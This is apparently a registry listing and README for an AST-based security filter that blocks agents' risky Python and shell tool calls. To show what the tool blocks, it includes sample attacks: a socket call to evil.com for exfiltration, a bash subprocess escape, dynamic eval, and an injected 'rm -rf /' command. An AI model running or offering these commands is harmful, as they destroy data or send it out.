AW-1 Sovereign Circuit Breaker

io.github.MvikManners由 GitHub 帳號 MvikManners 發布v2.2.1更新於 Oct 25, 2026

Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.

發布方自己的服務：Circuit

已驗證SSE可網頁執行開發者工具安全與監控

服務詳細資訊

識別碼: io.github.MvikManners/aw1-circuit-breaker
傳輸: SSE
執行環境: Web executable
信任: Verified
發布於: Oct 20, 2026

安全提示

MCP 服務會接收對話中的工具呼叫請求，並可能執行外部操作。啟用前請先了解該服務能做什麼，並只授予它所需的權限。

註冊中心已驗證此條目所屬的 GitHub 帳號 MvikManners。這並不表明該帳號就是產品方。

SourceWeft 的檢查只涵蓋條目是否完整、端點是否回應；不審查伺服器的程式碼，也不審查其工具的行為。

在 README 中新增徽章

向讀者展示該 MCP 服務已收錄於 SourceWeft，徽章連結到本頁。

[![Listed on SourceWeft](https://sourceweft.com/badge/mcp/io.github.MvikManners%2Faw1-circuit-breaker.svg)](https://sourceweft.com/mcp/io.github.MvikManners%2Faw1-circuit-breaker?utm_source=readme&utm_medium=badge)

概覽

AI 產生的概覽

一個確定性的 AST 層安全斷路器，在 Python 工具呼叫執行前檢查，攔截 shell 逃逸、動態 eval 與 socket 外連。

可以做什麼: 在程式碼執行前以抽象語法樹層級檢查並驗證程式片段，標記受限呼叫與未授權的模組匯入。
攔截嘗試 shell 逃逸、動態 eval 或隱蔽網路連線的代理工具呼叫，回傳攔截結果而不執行。
對 shell 指令參數進行快速過濾，辨識注入嘗試。
執行本機示範與漏洞利用展示，或對檢查延遲進行基準測試。
連接託管雲端閘道，用於集中策略編排、稽核合規與證明權杖。
適用情境: 適用於助理或自主代理執行 Python 或 shell 工具呼叫，且希望採用確定性的執行前檢查、而非以提示詞為基礎的護欄時。適合需要阻擋 eval、subprocess 與 socket 濫用的代理流程與 MCP 伺服器。
執行需求: 清單宣告為無需驗證的遠端 SSE 端點；README 則描述本機使用方式，需要 Python 與 pip 相依套件，或使用 uvx，也可透過 HOL Guard 或各執行環境自帶的 CLI 安裝外掛。託管雲端閘道是獨立的商業服務。

安裝前請注意

README 宣傳依月配額與授權金鑰計價的雲端方案，請確認是否真的需要託管閘道。清單宣告的遠端端點未要求驗證，README 中的安裝指令會執行第三方工具與外掛，套用前請先審閱。防護範圍僅限於 AST 檢查所能涵蓋的內容。

安裝

在 SourceWeft 中

開啟儀表板中的 AW-1 Sovereign Circuit Breaker，將其新增到工作區。
為需要使用其工具的對話啟用該服務。

Web executable，透過 SSE。遠端服務在工作區中設定後即可從網頁執行環境執行。

交給代理程式安裝

把這段提示詞貼上到 Claude Code、Codex、Cursor 等代理程式，或 SourceWeft 對話中。代理程式會讀取該伺服器的安裝指南，先向你展示發布者、端點和登入方式，經你同意後再把它新增到你的客戶端。金鑰不會寫進任何命令。

閱讀 https://sourceweft.com/mcp/io.github.MvikManners%2Faw1-circuit-breaker/install.md，並按其中說明把這個 MCP 伺服器接入我的客戶端。修改任何設定之前，先告訴我它的發布者、端點和登入方式，等我確認。不要把 API 金鑰寫進命令或我會提交的檔案；問我金鑰應從哪裡取得。

檢視代理程式所依據的安裝指南

其他 MCP 客戶端

把它新增到你客戶端的 mcpServers 設定中。

{
  "mcpServers": {
    "aw-1-sovereign-circuit-breaker": {
      "type": "sse",
      "url": "https://p20.laveto.net/wisdom/mcp/sse"
    }
  }
}

README

Install with HOL Guard, which checks the HOL listing and asks before each runtime:

Get HOL Guard with pipx install hol-guard or uv tool install hol-guard.

Install with each runtime's own CLI

Runtime	Commands
Claude Code	`claude plugin marketplace add mvikmanners/aw1-circuit-breaker` `claude plugin install aw1-circuit-breaker@aw1-circuit-breaker`
Codex	`codex plugin marketplace add mvikmanners/aw1-circuit-breaker` `codex plugin add aw1-circuit-breaker@aw1-circuit-breaker`

AW-1 Circuit Breaker

[HOL Guard]

[Glama]

[PyPI version] [License: MIT] [Latency]

Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.

⚡ 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal right now without installing anything:

Or verify an arbitrary snippet:

AW-1 Circuit Breaker

[Glama Score]

Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls.

Installation

Running the Server

Run directly with Python:

Or via uvx:

MCP Client Configuration

json

{  "mcpServers": {    "aw1-circuit-breaker": {      "command": "python",      "args": ["mcp_server.py"]    }  }}

{  "mcpServers": {    "aw1-circuit-breaker": {      "command": "python",      "args": ["mcp_server.py"]    }  }}

Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.

Interception Matrix

Attack Vector	Attacker Strategy	LLM Guardrail Result	AW-1 AST Circuit Breaker
Dynamic Execution	`eval(compile(...))`	Evades semantic filters	Tripped (`RESTRICTED_INVOCATION`)
Shell Escapes	`subprocess.Popen(['bash', ...])`	Masked as system task	Tripped (`UNAUTHORIZED_MODULE_IMPORT`)
Lateral Exfiltration	`socket.connect(('evil.com', 443))`	Disguised as HTTP fetch	Tripped (`UNAUTHORIZED_MODULE_IMPORT`)

Run the Showcase

Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.

Evaluation Target	p50 Latency	p95 Latency	p99 Latency	Status
AST Inspection (Benign Payload)	0.0889 ms	0.1298 ms	0.1645 ms	`< 0.2 ms` Overhead
AST Inspection (Adversarial Exploit)	0.0520 ms	0.0919 ms	0.1051 ms	Instant Breakout Halt
Shell Argument Injection Guard	0.0051 ms	0.0096 ms	0.0195 ms	Sub-20 µs Inspection

Reproduce locally:

Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

python

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatchestry:    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})except CircuitBreakerException as blocked:    print(f"Tool call halted: {blocked}")

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatchestry:    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})except CircuitBreakerException as blocked:    print(f"Tool call halted: {blocked}")

License

Licensed under the Apache License, Version 2.0. See LICENSE for details.

💳 Cloud Gateway & Commercial Licensing

While the open-source AST circuit breaker runs entirely local with sub-0.2ms overhead, enterprise teams and autonomous agent labs can connect to the hosted AW-1 Sovereign Cloud Gateway at https://p20.laveto.net for centralized policy orchestration, statutory audit compliance (BoB & Botswana DPA 2018), and hardware TEE attestation tokens.

Tier	Price	Monthly Quota	Features	Checkout
Developer Pro	BWP 650.00 / mo ($49 USD)	100,000 Verified Audits	1 commercial license key, offline HMAC validation, Layer 0 AST unpacker, community support	👉 Subscribe Now
Team / Startup	BWP 2,650.00 / mo ($199 USD)	1,000,000 Verified Audits	5 developer seat keys, Redis distributed state sync, rolling velocity caps, priority alerts	👉 Subscribe Team
Enterprise Dedicated	BWP 13,200.00 / mo ($990 USD)	Unlimited Verified Audits	Dedicated gateway tenant, custom statutory risk lenses, SLA guarantees, SHA-256 Decision Assurance Dossiers	💬 Contact Enterprise